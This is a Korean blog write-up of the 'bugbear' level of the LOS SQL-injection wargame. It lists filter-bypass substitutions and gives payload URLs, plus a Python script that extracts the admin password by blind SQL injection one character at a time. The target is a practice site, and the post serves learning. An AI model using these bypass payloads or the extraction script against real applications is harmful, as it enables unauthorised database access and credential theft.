13. LOS - bugbear

2020. 11. 30. 11:57WarGame/LOS

LOS 이어서 올클 도전해보겠다.

들어가면 해당 화면이 나온다.

pw 에서 ' 필터링 당하니까

[https://los.rubiya.kr/chall/bugbear\_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1234&7no=2134]

형식으로 ' 사용안하고 pw넘어갈 수 있다.

그 다음이 문제인데 "no" 인자에서 우회 가능목록은
"'" --> no 에서 '(쿼터) 사용 안함
substr, ascii --> mid(pw, n, 1)
=, like --> id in ("admin")
or,and --> ||, &&(%26%26)
공백 --> %0a,%0b,%0c,%0d

으로 우회하면 다 우회 가능하다.

 

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1234&no=1234||%0did%0din%0d(%22admin%22)%0d%26%26length(pw)%0din%0d(%228%22)%0d--%0d-

으로 8자리인 것 확인 가능하다.

 

 

이전 방법으로 mid사용해서 1번째 자리 구할 수 있고,

 

import requests
import string


num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': 'l3toagi0tdl3lhfji1bkfaj7dk'}
#https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||mid(pw,1,1)%0din%0d("0")--%0d-
key = ""
print(num_alpa)
for i in range(1, 9) :
    for j in num_alpa :
        URL = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||%0did%0din%0d(\"admin\")%0d%26%26mid(pw," + str(i) + ",1)%0din%0d(\"" + j + "\")--%0d-"
        response = requests.get(URL, cookies=cookies)
        if "Hello admin" in response.text :
            key += j
            print("[" + str(i) + "]th password :  " + j)
            break;
print(key)

해당 코드 사용해서 자동화 툴 돌렸다.

다만 no 구문 뒤에

id in ("admin")을 꼭 넣어줘야지 admin의 패스워드로 인식된다
해당 구문 까먹고 해서 3, 7번쨰 비번 안나와서 삽질 좀 했다.

 

그럼 풀린다.

'WarGame > LOS' 카테고리의 다른 글

15. LOS - assassin  (0) 2021.01.29
14. LOS - gian  (0) 2021.01.28
12. LOS - darknight  (0) 2018.08.09
11. LOS - golem  (0) 2018.08.08
10. LOS - skeleton  (0) 2018.08.07